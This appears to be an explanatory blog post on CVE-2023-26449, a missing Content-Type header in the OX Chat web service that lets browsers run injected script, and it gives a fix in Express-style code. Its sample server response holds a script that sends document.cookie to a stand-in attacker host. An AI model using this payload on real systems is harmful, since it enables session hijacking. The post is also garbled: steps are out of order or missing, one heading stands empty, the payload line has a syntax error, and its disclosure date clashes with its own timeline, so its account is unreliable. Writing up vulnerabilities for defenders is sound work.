With the rapid evolution of online collaboration tools, security has become paramount. On February 2023, a vulnerability was disclosed in the popular "OX Chat" web service – officially referenced as CVE-2023-26449. This flaw could let attackers run malicious code *right in your browser*, putting your private chat and session at risk.

In this post, we’ll walk through what CVE-2023-26449 is, how it can be exploited, simple code examples, how developers fixed it, and what you should do if you are affected.

What is CVE-2023-26449?

OX Chat is a web-based chat platform included in various business and hosted groupware suites. The problem:
*When OX Chat fetched and displayed content from external resources, it did NOT specify a "media-type" (also called "Content-Type") in its responses.*

Why does this matter?
Without enforcing a media-type, browsers may try to guess how to handle ("interpret") incoming content. If an attacker slips in a specially crafted file, the browser could execute it as JavaScript — even if it shouldn’t.

Persistent attacks if malicious code gets stored and re-executed

Exploit condition:

How Does The Exploit Work?

Let’s break it down with a simplified code example.

Suppose OX Chat loads external content, like a user-uploaded file, from

https://yourchat.example.com/api/files/123

Vulnerable Server Response

HTTP/1.1 200 OK
/* No Content-Type header! */

<script>
  // Attacker’s malicious JavaScript code here
  alert('Your session is stolen!');
  // Simulate session exfiltration
  fetch('https://evil.example.com/steal?cookie='; + document.cookie);
</script>

Browsers say: "No Content-Type? I’ll guess… Oh, this is HTML/JS! Time to execute!"

Result: Malicious code runs on the victim’s page in their session.

2. The Fix: Setting a Safe Content-Type

To block this, the server must specify a "Content-Type" that tells the browser, “Don’t run this as code!”

Corrected Server Response

HTTP/1.1 200 OK
Content-Type: application/octet-stream

or, for images

HTTP/1.1 200 OK
Content-Type: image/png

Now, the browser treats the file like data, NOT executable code. The attack fails.

Victim, or another user, opens a chat containing this file

4. Because no Content-Type is set, the browser guesses the file is HTML or SVG — and *executes* the JavaScript inside, right in the victim’s session!

If you’re a developer, here’s how you’d fix this in your backend

// BAD: No Content-Type header set!
app.get('/api/files/:id', function(req, res) {
  let file = getFile(req.params.id);
  res.send(file);
});

// GOOD: Set explicit Content-Type header!
app.get('/api/files/:id', function(req, res) {
  let file = getFile(req.params.id);

  // Infer correct type, or use a default
  let fileType = detectFileType(file) || 'application/octet-stream';
  res.set('Content-Type', fileType);
  res.send(file);
});

The OX Chat developers now ensure that

- All responses from external resources have a proper Content-Type header (such as application/octet-stream, image/png, etc.)

Browsers can no longer "auto-interpret" dangerous responses as executable scripts

Read the official vendor advisory here:
- OX CHANGELOG: SECURITY ADVISORY OXSA-2023-0006

Conclusion

CVE-2023-26449 is a classic example of how *oversights in HTTP headers* can lead to serious security holes, like XSS and session hijacking. Even without a public exploit, leaving it unpatched puts users and companies at risk.

References

- NVD Entry for CVE-2023-26449
- Vendor Security Advisory (OXSA-2023-0006)
- OWASP: Cross Site Scripting (XSS)


*If you have questions about this CVE or want to share your experiences, leave a comment below!*

Timeline

Published on: 08/02/2023 13:15:00 UTC
Last modified on: 08/07/2023 15:59:00 UTC